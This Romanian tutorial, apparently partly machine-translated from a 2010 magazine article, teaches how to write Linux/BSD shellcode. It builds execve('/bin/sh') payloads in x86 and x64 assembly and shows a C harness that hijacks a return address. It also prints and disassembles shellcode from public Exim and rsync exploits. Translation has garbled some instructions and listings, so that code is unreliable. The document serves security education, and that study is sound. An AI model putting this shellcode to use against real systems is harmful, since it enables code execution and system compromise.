Ce este codul shell? Virus pentru Linux. Învățați să scrieți coduri shell. Cerințe de bază pentru shellcode

IoT este adevărata tendință din ultima vreme. Folosește nucleul Linux aproape peste tot. Cu toate acestea, există relativ puține articole despre scrierea virușilor și codarea shell pentru această platformă. Crezi că scrierea shellcode pentru Linux este doar pentru elită? Să aflăm cum să scriem un virus pentru Linux!

BAZĂ PENTRU SCRIEREA UNUI VIRUS PENTRU LINUX

De ce ai nevoie pentru muncă?

Pentru a compila codul shell, avem nevoie de un compilator și un linker. Vom folosi nasmŞi ld. Pentru a testa codul shell, vom scrie un mic program în C. Pentru a-l compila vom avea nevoie gcc. Pentru unele verificări veți avea nevoie rasm2(parte a cadrului radare2). Vom folosi Python pentru a scrie funcții de ajutor.

Ce este nou în x64?

x64 este o extensie a arhitecturii IA-32. Principala sa caracteristică distinctivă este suportul pentru registre de uz general pe 64 de biți, operații aritmetice și logice pe 64 de biți pe numere întregi și adrese virtuale pe 64 de biți.

Mai precis, toate registrele de uz general pe 32 de biți sunt păstrate și versiunile lor extinse sunt adăugate ( rax, rbx, rcx, rdx, rsi, rdi, rbp, rsp) și câteva registre noi de uz general ( r8, r9, r10, r11, r12, r13, r14, r15).

Apare o nouă convenție de apelare (spre deosebire de arhitectura x86, există doar una). Potrivit acesteia, la apelarea unei funcții, fiecare registru este utilizat în scopuri specifice, și anume:

  • primele patru argumente întregi ale funcției sunt trecute prin registre rcx, rdx, r8Şi r9și prin registre xmm0 - xmm3 pentru tipuri de virgulă mobilă;
  • alți parametri sunt trecuți prin stivă;
  • Pentru parametrii trecuți prin registre, spațiul este încă rezervat pe stivă;
  • rezultatul funcției este returnat printr-un registru rax pentru tipurile întregi sau prin registrul xmm0 pentru tipurile în virgulă mobilă;
  • rbp conține un indicator către baza stivei, adică locul (adresa) de unde începe stiva;
  • rsp conține un pointer către vârful stivei, adică către locul (adresa) unde va fi plasată noua valoare;
  • rsi, rdi folosit in syscall.

Câteva despre stivă: deoarece adresele sunt acum pe 64 de biți, valorile de pe stivă pot avea o dimensiune de 8 octeți.

Syscall. Ce? Cum? Pentru ce?

Syscall este modul în care modul utilizator interacționează cu nucleul în Linux. Este folosit pentru diverse sarcini: operațiuni I/O, scriere și citire fișiere, deschidere și închidere de programe, lucru cu memorie și rețea, etc. Pentru a completa syscall, necesar:

Încărcați numărul funcției corespunzător în registrul rax;
încărcați parametrii de intrare în alte registre;
numărul de întrerupere a apelului 0x80(începând cu versiunea de kernel 2.6 acest lucru se face prin apel syscall).

Spre deosebire de Windows, unde mai trebuie să găsiți adresa funcției necesare, totul aici este destul de simplu și concis.

Numerele funcțiilor de apel sistem necesare pot fi găsite, de exemplu,

execve()

Dacă ne uităm la codurile shell gata făcute, multe dintre ele folosesc funcția execve().

execve() are urmatorul prototip:

Ea sună la program NUME DE FIȘIER. Program NUME DE FIȘIER poate fi fie un binar executabil, fie un script care începe cu linia #! interpret.

argv este un pointer către o matrice, de fapt, acesta este același argv, pe care îl vedem, de exemplu, în C sau Python.

envp- pointer către o matrice care descrie mediul. În cazul nostru nu este folosit, va conta nul.

Cerințe de bază pentru shellcode

Există așa ceva ca un cod independent de poziție. Acesta este codul care va fi executat indiferent unde este încărcat. Pentru ca codul nostru shell să fie executat oriunde în program, acesta trebuie să fie independent de poziție.

Cel mai adesea shellcode este încărcat cu funcții precum strcpy(). Funcții similare folosesc octeți 0x00, 0x0A, 0x0D ca delimitatori (în funcție de platformă și funcție). Prin urmare, este mai bine să nu folosiți astfel de valori. În caz contrar, este posibil ca funcția să nu copieze complet codul shell. Luați în considerare următorul exemplu:

$ rasm2 -a x86 -b 64 "push 0x00" 6a00

$rasm2 - a x86 - b 64 "push 0x00"

6a00

După cum puteți vedea, codul apăsați 0x00 se compilează în următorii octeți 6a 00. Dacă am folosi cod ca acesta, codul nostru shell nu ar funcționa. Funcția ar copia totul până la octetul cu valoarea 0x00.

Nu puteți utiliza adrese „codificate” în shellcode, deoarece nu știm aceleași adrese dinainte. Din acest motiv, toate șirurile din codul shell sunt obținute dinamic și stocate pe stivă.

Asta pare să fie tot.

DOAR FĂ-O!

Dacă ați citit până aici, ar trebui să aveți deja o imagine despre cum va funcționa codul nostru shell.

Primul pas este să pregătiți parametrii pentru funcția execve() și apoi să îi plasați corect pe stivă. Funcția va arăta astfel:

Al doilea parametru este o matrice argv. Primul element al acestei matrice conține calea către fișierul executabil.

Al treilea parametru reprezintă informații despre mediu, nu avem nevoie de ele, deci va avea o valoare nul.

Mai întâi obținem un octet zero. Nu putem folosi o structură precum mov eax, 0x00 deoarece va introduce octeți nuli în cod, așa că vom folosi următoarea instrucțiune:

xor rdx, rdx

Să lăsăm această valoare în registru rdx- va fi necesar și ca caracter de final de linie și valoarea celui de-al treilea parametru (care va fi nul).

Deoarece stiva crește de la adrese mai mari la cele mai scăzute, iar funcția execve() va citi parametrii de intrare de la mic la mare (adică stiva funcționează cu memoria în ordine inversă), apoi vom pune valori inversate pe stivă.

Pentru a inversa un șir și a-l converti în hex, puteți utiliza următoarea funcție în Python:


Să numim această funcție pentru /bin/sh: >>> rev.rev_str(„/bin/sh”)

„68732f6e69622f”

Am primit un octet nul (al doilea octet de la sfârșit), care ne va rupe shellcode. Pentru a preveni acest lucru, să profităm de faptul că Linux ignoră barele oblice secvențiale (adică /bin/shŞi /bin//sh- este acelasi lucru).

>>> rev.rev_str("/bin//sh") "68732f2f6e69622f"

Fără octeți nuli!

Apoi căutăm pe site informații despre funcția execve(). Ne uităm la numărul funcției, pe care îl punem în rax - 59. Ne uităm la ce registre sunt folosite:
rdi- stochează adresa șirului NUME DE FIȘIER;
rsi- stochează adresa șirului argv;
rdx- stochează adresa șirului envp.

Acum să punem totul împreună.
Punem caracterul de sfârșit de linie pe stivă (rețineți că totul se face în ordine inversă):

xor rdx, rdx push rdx

xor rdx, rdx

împinge rdx

Pune sfoara pe teanc /bin//sh: mov rax, 0x68732f2f6e69622f
împinge rax

Obținerea adresei liniei /bin//sh pe stivă și împingeți-l imediat rdi: mov rdi, rsp

În rsi trebuie să puneți un pointer către o matrice de șiruri. În cazul nostru, această matrice va conține doar calea către fișierul executabil, așa că este suficient să punem acolo o adresă care se referă la memoria unde se află adresa de linie (în C, un pointer către un pointer). Avem deja adresa liniei, este în registrul rdi. Matricea argv trebuie să se termine cu un octet nul, pe care îl avem în registru rdx:

push rdx push rdi mov rsi, rsp

împinge rdx

împinge rdi

mov rsi, rsp

Acum rsi indică către o adresă din stiva care conține un pointer către un șir /bin//sh.

O punem înăuntru rax numărul funcției execve(): xor rax, rax
mov al, 0x3b

Ca rezultat, am primit următorul fișier:


Compilați și conectați pentru x64. Pentru a face acest lucru:

$ nasm -f elf64 exemplu.asm $ ld -m elf_x86_64 -s -o exemplu exemplu.o

$ nasm - f elf64 exemplu .asm

$ ld - m elf_x86_64 - s - o exemplu exemplu .o

Acum putem folosi exemplu objdump -d pentru a vizualiza fișierul rezultat.

Revista FreeBSD, 09.2010

Codul Shell este o secvență de comenzi de mașină care poate fi folosită pentru a forța un program care rulează deja să facă ceva alternativ. Folosind această metodă, puteți exploata unele vulnerabilități software (de exemplu, supraîncărcarea stivei, supraîncărcarea heapului, vulnerabilitățile șirurilor de formatare).

Un exemplu de cum ar putea arăta codul shell:

char shellcode = "\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\ x76\x08\x89\x46" "\x0c\xb0\x0b\x8d\x1e\x8d\x4e\x08\x8d \x56\x0c\xcd\x80" "\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\ x2f\x73\x68";

Adică, în general, aceasta este o secvență de octeți în limbajul mașinii. Scopul acestui document este de a revizui cele mai comune tehnici de dezvoltare a codului shell pentru sistemele Linux și *BSD care rulează pe arhitectura x86.

Scotocind prin web, puteți găsi cu ușurință exemple gata făcute de cod shell, pe care trebuie doar să le copiați și să le plasați în locul potrivit. De ce să-i studiem dezvoltarea? În opinia mea, există cel puțin câteva motive bune:

În primul rând, învățarea elementelor interne a ceva este aproape întotdeauna o idee bună înainte de a-l folosi, ajută la evitarea oricăror surprize urâte (această problemă va fi discutată mai târziu la http://www.kernel-panic.it/security/shellcode/shellcode6 .html în detalii);

În al doilea rând, rețineți că codul shell poate rula în medii complet diferite, cum ar fi filtrele de intrare-ieșire, zonele de manipulare a șirurilor, IDS și este util să ne imaginăm cum trebuie modificat pentru a se potrivi condițiilor;

În plus, conceptele de exploatare a vulnerabilităților vă vor ajuta să scrieți programe mai sigure.

În continuare, cunoașterea asamblatorului pentru arhitectura IA-32 nu va strica, deoarece vom atinge subiecte precum utilizarea registrului, adresarea memoriei și alte subiecte similare. În orice caz, la finalul articolului există o serie de materiale utile pentru învățarea sau reîmprospătarea informațiilor de bază despre programarea asamblarilor. De asemenea, sunt necesare cunoștințe de bază de Linux și *BSD.

Apeluri de sistem Linux
Deși codul shell poate, în principiu, face orice, scopul principal al rulării acestuia este de a obține acces la interpretul de comenzi (shell) de pe mașina țintă, de preferință în modul privilegiat, de unde provine codul shell de nume.
Cea mai simplă și directă modalitate de a efectua o sarcină complexă în limbajul de asamblare este utilizarea apelurilor de sistem. Apelurile de sistem oferă interfața dintre spațiul utilizator și spațiul kernel; cu alte cuvinte, este o modalitate prin care un program utilizator poate primi servicii de la serviciile nucleului. De exemplu, sistemul de fișiere este gestionat, sunt lansate noi procese, este oferit accesul la dispozitive și așa mai departe.
După cum se arată în Lista 1, apelurile de sistem sunt definite în fișierul /usr/src/linux/include/asmi386/unistd.h, fiecare cu un număr.
Există două moduri standard de a utiliza apelurile de sistem:

Activați întreruperea software 0x80;
- apelarea unei funcții wrapper din libc.

Prima metodă este mai portabilă, deoarece poate fi folosită pentru orice distribuție Linux (determinată de codul kernelului). A doua metodă este mai puțin portabilă deoarece este definită de codul bibliotecii standard.

int 0x80
Să aruncăm o privire mai atentă la prima metodă. Când procesorul primește întrerupere 0x80, intră în modul kernel și execută funcția solicitată, obținând handler-ul necesar din Tabelul Descriptor de întreruperi. Numărul de apel de sistem trebuie definit în EAX, care va conține în cele din urmă valoarea returnată. La rândul lor, argumentele funcției, în număr de până la șase, trebuie să fie conținute în EBX, ECX, EDX, ESI, EDI și EBP, în această ordine și numai în numărul necesar de registre, și nu toate. Dacă o funcție necesită mai mult de șase argumente, trebuie să le puneți într-o structură și să stocați un pointer către primul element din EBX.

Trebuie amintit că nucleele Linux anterioare versiunii 2.4 nu folosesc registrul EBP pentru a transmite argumente și, prin urmare, pot trece doar cinci argumente prin registre.

După stocarea numărului de apel de sistem și a parametrilor în registrele corespunzătoare, se apelează întreruperea 0x80: procesorul intră în modul kernel, execută apelul de sistem și transferă controlul către procesul utilizatorului. Pentru a reproduce acest scenariu aveți nevoie de:

Creați o structură în memorie care să conțină parametrii de apel de sistem;
- salvați un pointer la primul argument în EBX;
- execută întrerupere software 0x80.

Cel mai simplu exemplu va conține clasicul - apelul de sistem exit(2). Din fișierul /usr/src/linux/include/asm-i386/unistd.h aflăm numărul acestuia: 1. Pagina de manual ne va spune că există un singur argument necesar (status), așa cum se arată în Lista 2.

Îl vom salva în registrul EBX. Prin urmare, sunt necesare următoarele instrucțiuni:

exit.asm mov eax, 1 ; Numărul _exit(2) syscall mov ebx, 0 ; stare int 0x80; Întreruperea 0x80

libc
După cum s-a menționat, o altă metodă standard este să folosiți o funcție C. Să vedem cum se face acest lucru folosind un program C simplu ca exemplu:

exit.c main () ( exit(0); )

Trebuie doar să-l compilați:

$ gcc -o exit exit.c

Să-l dezasamblam folosind gdb pentru a ne asigura că folosește același apel de sistem (Listing 3).

Lista 3. Dezasamblarea programului de ieșire folosind depanatorul gdb$ gdb ./exit GNU gdb 6.1-debian Copyright 2004 Free Software Foundation, Inc. GDB este un software gratuit, acoperit de Licența publică generală GNU și sunteți binevenit să îl modificați și/sau să distribuiți copii ale acestuia în anumite condiții. Tastați „afișați copierea” pentru a vedea condițiile. Nu există absolut nicio garanție pentru GDB. Introduceți „afișați garanția” pentru detalii. Acest GDB a fost configurat ca „i386-linux”... Folosind biblioteca gazdă libthread_db „/lib/ libthread_db.so.1”. (gdb) întrerupe punctul de întrerupere principal 1 la 0x804836a (gdb) rulează Programul de pornire: /ramdisk/var/tmp/exit Punctul de întrerupere 1, 0x0804836a în principal () (gdb) disas main Dumpează codul de asamblare pentru funcția principală: 0x08048364: push %ebp 0x08048365: mișcare %esp,%ebp 0x08048367: sub $0x8,%esp 0x0804836a: și $0xffffff0,%esp 0x0804836d: mov $0x0,%eax 0x0804836a:%eax 0x0804:804% v l $0x0,(%esp ) 0x0804837b: apelați 0x8048284 Sfârșitul depozitării asamblatorului. (gdb)

Ultima funcție din main() este un apel la exit(3). Apoi vedem că exit(3) la rândul său apelează _exit(2), care apelează un apel de sistem, inclusiv întreruperea 0x80, Lista 4.

Listare 4. Efectuarea unui apel de sistem(gdb) disas exit Dump de cod de asamblare pentru funcția de ieșire: [...] 0x40052aed: mov 0x8(%ebp),%eax 0x40052af0: mov %eax,(%esp) 0x40052af3: apelați 0x400ced9c<_exit>[...] Sfârșitul depozitului de asamblare. (gdb) disas _exit Dump-ul codului de asamblare pentru funcția _exit: 0x400ced9c<_exit+0> <_exit+4>: mov $0xfc,%eax 0x400ceda5<_exit+9>: int $0x80 0x400ceda7<_exit+11>: mov $0x1,%eax 0x400cedac<_exit+16>: int $0x80 0x400cedae<_exit+18>: hlt 0x400cedaf<_exit+19>

Astfel, shellcode folosind libc apelează indirect apelul de sistem _exit(2):

push dword 0; apel de stare 0x8048284 ; Apelați funcția libc exit() ;(adresa obținută din dezasamblarea de mai sus) add esp, 4 ; Curățați teancul

*Apeluri de sistem BSD
În familia *BSD, apelurile de sistem arată ușor diferite apelurile indirecte (folosind adresele funcției libc) nu fac nicio diferență.
Numerele de apel de sistem sunt listate în fișierul /usr/src/sys/kern/syscalls.master, acest fișier conține și prototipuri de funcție. Lista 5 arată începutul fișierului în OpenBSD:

Prima linie conține numărul de apel al sistemului, a doua - tipul acestuia, a treia - prototipul funcției. Spre deosebire de Linux, apelurile de sistem *BSD nu folosesc convenția de apelare rapidă de a împinge argumente în registre, ci folosesc în schimb stilul C pentru a împinge argumente în stivă. Argumentele sunt plasate în ordine inversă, începând cu cel din dreapta, astfel încât vor fi preluate în ordinea corectă. Imediat după revenirea de la apelul de sistem, stiva trebuie șters prin plasarea unui număr de octeți egal cu lungimea tuturor argumentelor în indicatorul de compensare a stivei (sau, mai simplu, prin adăugarea de octeți egali cu numărul de argumente înmulțit cu 4) . Rolul registrului EAX este același ca și în Linux, conține numărul apelului de sistem și, în cele din urmă, conține valoarea returnată.

Astfel, sunt necesari patru pași pentru a executa un apel de sistem:

Stocarea numărului de apel în EAX;
- plasarea argumentelor în ordine inversă pe stivă;
- executarea întreruperii software 0x80;
- curățarea stivelor.

Exemplul Linux, convertit pentru *BSD, ar arăta astfel:

exit_BSD.asm mov eax, 1; Număr Syscall push dword 0 ; rval push eax ; Apăsați încă un dword (vezi mai jos) int 0x80 ; 0x80 întrerupere adăuga esp, 8; Curățați teancul

Scrierea codului shell
Următoarele exemple, concepute pentru Linux, pot fi adaptate cu ușurință în lumea *BSD. Pentru a obține codul shell finit, trebuie doar să obținem codurile operaționale corespunzătoare instrucțiunilor de asamblare. Trei metode sunt utilizate în mod obișnuit pentru a obține coduri operaționale:

Scrierea lor manuală (cu documentația Intel în mână!);
- scrierea codului de asamblare si apoi extragerea opcode-ului;
- scrierea codului in C si apoi dezasamblarea acestuia.

Să ne uităm acum la celelalte două metode.

În asamblator
Primul pas este să utilizați codul de asamblare din exemplul exit.asm folosind apelul de sistem _exit(2). Pentru a obține codurile operaționale, folosim nasm și apoi dezasamblam binarul asamblat folosind objdump, așa cum se arată în Lista 6.

A doua coloană conține codurile de mașină de care avem nevoie. Deci, putem scrie primul nostru cod shell și îl putem testa folosind un program simplu C preluat de la http://www.phrack.org/

Lista 7. Testarea opcode sc_exit.c char shellcode = "\xbb\x00\x00\x00\x00" "\xb8\x01\x00\x00\x00" "\xcd\x80"; int main() ( int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; )

În ciuda popularității acestei abordări, codul C pentru programul de verificare poate să nu pară suficient de clar. Cu toate acestea, pur și simplu suprascrie adresa funcției main() cu adresa codului shell în scopul executării instrucțiunilor codului shell în main(). După prima instrucțiune, stiva evoluează după cum urmează:

Adresa de retur (plasată de instrucțiunea CALL) care urmează să fie plasată în EIP la ieșire;
- EBP salvat (de restaurat la ieșirea din funcție);
- ret (prima variabilă locală din funcția main())

A doua instrucțiune incrementează adresa variabilei ret cu opt octeți (două dwords) pentru a obține adresa adresei de retur, adică un pointer către prima instrucțiune care va fi executată în main(). În cele din urmă, a treia instrucțiune suprascrie adresa cu adresa shellcode. În acest moment, programul iese din main(), restabilește EBP, stochează adresa shellcode în EIP și o execută. Pentru a vizualiza toate aceste operațiuni, trebuie să compilați și să rulați sc_exit.c:

$ gcc -o sc_exit sc_exit.c $ ./sc_exit $

Sper că gura ta s-a deschis suficient de larg. Pentru a vă asigura că codul shell este executat, rulați aplicația sub strace, Lista 8.

Lista 8. Urmărirea aplicației de testare$ strace ./sc_exit execve("./sc_exit", ["./sc_exit"], ) = 0 uname((sys="Linux", node="Knoppix", ...)) = 0 brk(0) = 0x8049588 old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40017000 access("/etc/ld.so.nohwcap", F_OK) = -1 fișier deschis sau director ENOENTy) = -1 ENOENTy ("/etc/ld.so.preload", O_RDONLY) = -1 ENOENT (Nu există un astfel de fișier sau director) deschis ("/etc/ld.so.cache", O_RDONLY) = 3 fstat64(3, (st_mode=S_IFREG) |0644, st_size=60420, ...)) = 0 old_mmap(NULL, 60420, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40018000 close(3) = 0 access("/etc/ld.so.nohwcap", F_OK ) = -1 ENOENT (Nu există un astfel de fișier sau director) deschis("/lib/libc.so.6", O_RDONLY) = 3 read(3, "\177ELF\1\1\1\0\0\0\0 \0\0\0\0\0\3\0\3\0\1\0\0\0\200^\1"..., 512) = 512 fstat64(3, (st_mode=S_IFREG|0644) , st_size=1243792, ...)) = 0 old_mmap(NULL, 1253956, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x40027000 old_mmap(0x4014f000, 32774F000, 32776P_PROT_READ,|PROT_READ_, | , 3, 0x127000) = 0x4014f000 old_mmap(0x40157000, 8772, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x40157000 close(3) = 0 munmap(0x40018000 _ex) (0x40018000 _ex) $

Ultima linie este apelul la _exit(2). Cu toate acestea, privind codul shell, vedem o mică problemă: conține o mulțime de octeți nuli. Deoarece codul shell este adesea scris într-un buffer de șir, acești octeți vor ajunge în separatorul de linii și atacul va eșua. Există două moduri de a rezolva problema:

Scrieți instrucțiuni care nu conțin zero octeți (și acest lucru nu este întotdeauna posibil);
- scrie codul shell pentru a-l modifica manual, eliminând octeții nuli, astfel încât în ​​timpul rulării codul însuși adaugă octeți nuli, aliniind șirul la delimitator.

Să ne uităm la prima metodă.
Prima instrucțiune (mov ebx, 0) poate fi modificată pentru a fi mai comună (din motive de performanță):

xor ebx, ebx

A doua instrucțiune conține toate aceste zerouri deoarece se folosește un registru de 32 de biți (EAX), acesta produce 0x01s care devin 0x01000000 (nibble-urile sunt în ordine inversă, deoarece Intel® este un procesor little endian). Deci, putem rezolva această problemă pur și simplu utilizând un registru de opt biți (AL):

mișcare, 1

Acum codul nostru de asamblare arată astfel:

xor ebx, ebx mov al, 1 int 0x80

și fără octeți nuli (Listarea 9).

Lista 9. Verificare shellcode$ nasm -f exit2.asm $ objdump -d exit2.o exit2.o: format de fișier elf32-i386 Dezasamblarea secțiunii .text: 00000000<.text>: 0: 31 db xor %ebx,%ebx 2: b0 01 mov $0x1,%al 4: cd 80 int $0x80 $
Lista 10. Exit.c binar deschis cu gdb$ gdb ./exit GNU gdb 6.1-debian Copyright 2004 Free Software Foundation, Inc. GDB este un software gratuit, acoperit de Licența publică generală GNU și sunteți binevenit să îl modificați și/sau să distribuiți copii ale acestuia în anumite condiții. Tastați „afișați copierea” pentru a vedea condițiile. Nu există absolut nicio garanție pentru GDB. Introduceți „afișați garanția” pentru detalii. Acest GDB a fost configurat ca „i386-linux”... Folosind biblioteca gazdă libthread_db „/lib/ libthread_db.so.1”. (gdb) întrerupe punctul de întrerupere principal 1 la 0x804836a (gdb) rulează Programul de pornire: /ramdisk/var/tmp/exit Punctul de întrerupere 1, 0x0804836a în principal () (gdb) disas _exit Dump de cod de asamblare pentru funcția _exit: 0x400<_exit+0>: mov 0x4(%esp),%ebx 0x400ceda0<_exit+4>: mov $0xfc,%eax 0x400ceda5<_exit+9>: int $0x80 0x400ceda7<_exit+11>: mov $0x1,%eax 0x400cedac<_exit+16>: int $0x80 0x400cedae<_exit+18>: hlt 0x400cedaf<_exit+19>: nup Sfârșitul depozitării asamblatorului. (gdb)

După cum puteți vedea, funcția _exit(2) utilizează de fapt două apeluri de sistem: 0xfc (252), _exit_group(2) și apoi, _exit(2). _exit_group(2) este similar cu _exit(2), dar scopul său este de a termina toate firele din grup. Codul nostru chiar are nevoie doar de al doilea apel de sistem.

Să extragem codurile operaționale:

(gdb) x/4bx _exit 0x400ced9c<_exit>: 0x8b 0x5c 0x24 0x04 (gdb) x/7bx _exit+11 0x400ceda7<_exit+11>: 0xb8 0x01 0x00 0x00 0x00 0xcd 0x80 (gdb)

De asemenea, ca și în exemplul anterior, va trebui să depășiți zero octeți.

Obținerea consolei
Este timpul să scrieți cod shell care vă va permite să faceți ceva mai util. De exemplu, am putea crea un cod pentru a accesa consola și să o ieșim curat după generarea consolei. Cea mai simplă abordare aici este să folosiți apelul de sistem execve(2). Asigurați-vă că vă uitați la pagina de manual, Lista 11.

Lista 11. om 2 execve EXECVE(2) Manualul programatorului Linux EXECVE(2) NAME execve – execută programul SINOPSIS #include int execve(const char *filename, char *const argv , char *const envp DESCRIERE execve() execută programul indicat de filename; nume de fișier trebuie să fie fie un executabil binar, fie un script care începe cu o linie de forma „#! interpretor ". În acest din urmă caz, interpretul trebuie să fie o cale validă pentru un executabil care nu este el însuși un script, care va fi invocat ca nume de fișier interpretor. argv este o matrice de șiruri de argumente transmise noului program. envp este o matrice de șiruri, în mod convențional de forma ca mediu pentru noul program. Ambele, argv și envp trebuie să fie terminate cu un pointer nul main(int argc, char *argv, char *envp). [...]

Trebuie să transmitem trei argumente:

Un pointer către numele programului pentru a executa, în cazul nostru, un pointer către linia /bin/sh;
- un pointer către o matrice de șiruri de caractere transmise ca argumente de program, primul argument trebuie să fie argv, adică numele programului în sine, ultimul argument trebuie să fie un pointer nul;
- un pointer către o matrice de șiruri de caractere pentru a le transmite ca mediu de program; Aceste șiruri sunt de obicei date în formatul cheie=valoare și ultimul element al matricei trebuie să fie un pointer nul. În C arată cam așa:

Să-l punem împreună și să vedem cum funcționează:

Ei bine, am primit coaja. Acum să vedem cum arată acest apel de sistem în asamblator (deoarece am folosit trei argumente, putem folosi registre în loc de o structură). Două probleme devin imediat evidente:

Prima problemă este cunoscută: nu putem lăsa octeți nuli în codul shell, dar în acest caz argumentul este un șir (/bin/sh) care se termină cu un octet nul. Și trebuie să trecem doi pointeri nuli printre argumentele lui execve(2)!
- a doua problemă este să găsești adresa liniei. Adresarea absolută a memoriei este dificilă și, de asemenea, va face codul shell practic neportabil.

Pentru a rezolva prima problemă, vom face codul nostru shell capabil să insereze octeți nuli în locurile potrivite în timpul execuției. Pentru a rezolva a doua problemă vom folosi adresarea relativă. Metoda clasică de a revendica adresa shellcode este să începeți cu o instrucțiune CALL. De fapt, primul lucru pe care CALL îl face este să împingă adresa următorului octet pe stivă, astfel încât să poată fi împins (prin o instrucțiune RET) în EIP după ce funcția apelată revine. Execuția se mută apoi la adresa specificată de parametrul instrucțiunii CALL. În acest fel obținem un pointer către șirul nostru: adresa primului octet după CALL este ultima valoare din stivă și o putem obține cu ușurință folosind POP. Deci, planul shellcode general ar fi cam așa:

Lista 12. jmp scurt mycall ; Salt imediat la instrucțiunea de apel shellcode: pop esi ; Stocați adresa „/bin/sh” în ESI [...] mycall: call shellcode ; Împingeți adresa următorului octet pe stivă: următorul db "/bin/sh" ; octet este începutul șirului „/bin/sh”

Să vedem ce face:

Mai întâi, codul shell sare la instrucțiunea CALL;
- CALL împinge adresa liniei /bin/sh în stivă, neterminată încă cu un octet zero; directiva db inițializează pur și simplu o secvență de octeți; apoi execuția sare din nou la începutul codului shell;
- adresa șirului este apoi scoasă din stivă și stocată în ESI. Acum putem accesa adresa de memorie folosind adresa șir.

De acum înainte, puteți utiliza o structură de cod shell plină cu ceva util. Să analizăm acțiunile noastre planificate pas cu pas:

Tastați EAX cu zerouri, astfel încât acestea să fie disponibile pentru scopurile noastre;
- terminam linia cu un octet zero copiat din EAX (vom folosi registrul AL);
- haideti sa ne intrebam ca ECX va contine o matrice de argumente formata din adresa sirului si un pointer nul; această sarcină va fi realizată prin scrierea adresei conținute în ESI în primii trei octeți și apoi un pointer nul (zerouri luate din nou din EAX);
- salvați numărul de apel de sistem în (0x0b) EAX;
- salvați primul argument în execve(2) (adică adresa de linie stocată în ESI) în EBX;
- salvați adresa matricei în ECX (ESI + 8);
- salvați adresa pointerului nul în EDX (ESI+12);
- execută întrerupere 0x80.

Codul de asamblare rezultat este afișat în Lista 13.

Lista 13. Cod de asamblare refăcut get_shell.asm jmp scurt mycall ; Salt imediat la instrucțiunea de apel shellcode: pop esi ; Stocați adresa „/bin/sh” în ESI xor eax, eax ; Zero out EAX mov byte, al; Scrie octetul nul la sfârşitul şirului mov dword , esi ; , adică memoria imediat sub șir; „/bin/sh”, va conține matricea indicată de ; al doilea argument al execve(2); prin urmare stocăm în;

adresa șirului... mov dword , eax ; ...și în pointerul NULL (EAX este 0) mov al, 0xb ; Stocați numărul syscall (11) în EAX lea ebx, ; Copiați adresa șirului în EBX lea ecx, ; Al doilea argument pentru execve(2) lea edx, ; Al treilea argument pentru execve(2) (pointer NULL) int 0x80 ; Executați apelul de sistem mycall: call shellcode ; Împingeți adresa „/bin/sh” în stiva db „/bin/sh”

Să extragem codurile operaționale, Lista 14:

$ gcc -o get_shell get_shell.c $ ./get_shell sh-2.05b$ ieșire $
Încrederea este bună...

Să ne uităm la codul shell din exploit (http://www.securityfocus.com/bid/12268/info/), scris de Rafael San Miguel Carrasco. Exploatează o vulnerabilitate de depășire a memoriei tampon în programul de e-mail Exim:

static char shellcode= "\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\ xb0\x0b\x89" "\xf3\x8d\x4e\x08\ x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\ x62\x69\x6e" "\x2f\x73\x68\x58";

Să-l dezasamblam folosind ndisasm, vom obține ceva familiar? Lista 16.$ echo -ne "\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89"\ "\xf3\x8d\x4e\x08 \x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e"\ "\x2f\x73\x68\x58" | ndisasm -u - 00000000 EB17 jmp scurt 0x19 ; Salt inițial la CALL 00000002 5E pop esi ; Stocați adresa șirului în ; ESI 00000003 897608 mov ,esi ; Scrieți adresa șirului în ; ESI + 8 00000006 31C0 xor eax,eax ; Zero out EAX 00000008 884607 mov ,al ; Null-termină șirul 0000000B 89460C mov ,eax ; Scrieți pointerul nul la ESI + 12 0000000E B00B mov al,0xb ; Numărul execve(2) syscall 00000010 89F3 mov ebx,esi ; Stocați adresa șirului în ; EBX (primul argument) 00000012 8D4E08 lea ecx, ; Al doilea argument (pointer către tabloul ;) 00000015 31D2 xor edx,edx ; Zero out EDX (al treilea argument) 00000017 CD80 int 0x80 ; Executați apelul syscall 00000019 E8E4FFFFFF apel 0x2; Apăsați adresa șirului și ; sari la al doilea; instructiune 0000001E 2F das; „/bin/shX” 0000001F 62696E legat ebp, 00000022 2F das 00000023 7368 jnc 0x8d 00000025 58 pop eax $

...dar un control mai bun
Dar totuși, cea mai bună practică rămâne obiceiul de a verifica codul shell înainte de a-l folosi. De exemplu, pe 28 mai 2004, farsanul a postat un exploit public pentru rsync (http://www.seclists.org/lists/fulldisclosure/2004/May/1395.html), dar codul era neclar: în urma unei secțiuni din cod bine comentat, a existat o piesă discretă, Lista 17.

După vizualizarea main(), a devenit clar că exploit-ul rula local:

(lung) funct = [...] funct();

Deci, pentru a înțelege ce face codul shell, nu trebuie să-l rulăm, ci mai degrabă să îl dezasamblam, Lista 18.

Lista 18. Cod shell dezasamblat, puțin vizibil$ echo -ne "\xeb\x10\x5e\x31\xc9\xb1\x4b\xb0\xff\x30\x06\xfe\xc8[...]" | \ > ndisasm -u - 00000000 EB10 jmp short 0x12 ; Salt la CALL 00000002 5E pop esi; Preluați adresa octetului 0x17 00000003 31C9 xor ecx,ecx ; Zero out ECX 00000005 B14B mov cl,0x4b ; Configurați contorul de bucle (vezi ; instrucțiunea 0x0E) 00000007 B0FF mov al,0xff ; Configurați masca XOR 00000009 3006 xor ,al ; XOR octet 0x17 cu AL 0000000B FEC8 dec al ; Scade masca XOR 0000000D 46 inc esi ; Încărcați adresa următorului octet 0000000E E2F9 bucla 0x9; Păstrați XORing până la ECX=0 00000010 EB05 jmp short 0x17 ; Salt la prima instrucțiune XORed 00000012 E8EBFFFFFF apel 0x2; PUSH adresa următorului octet și ; săriți la a doua instrucțiune 00000017 17 pop ss [...]

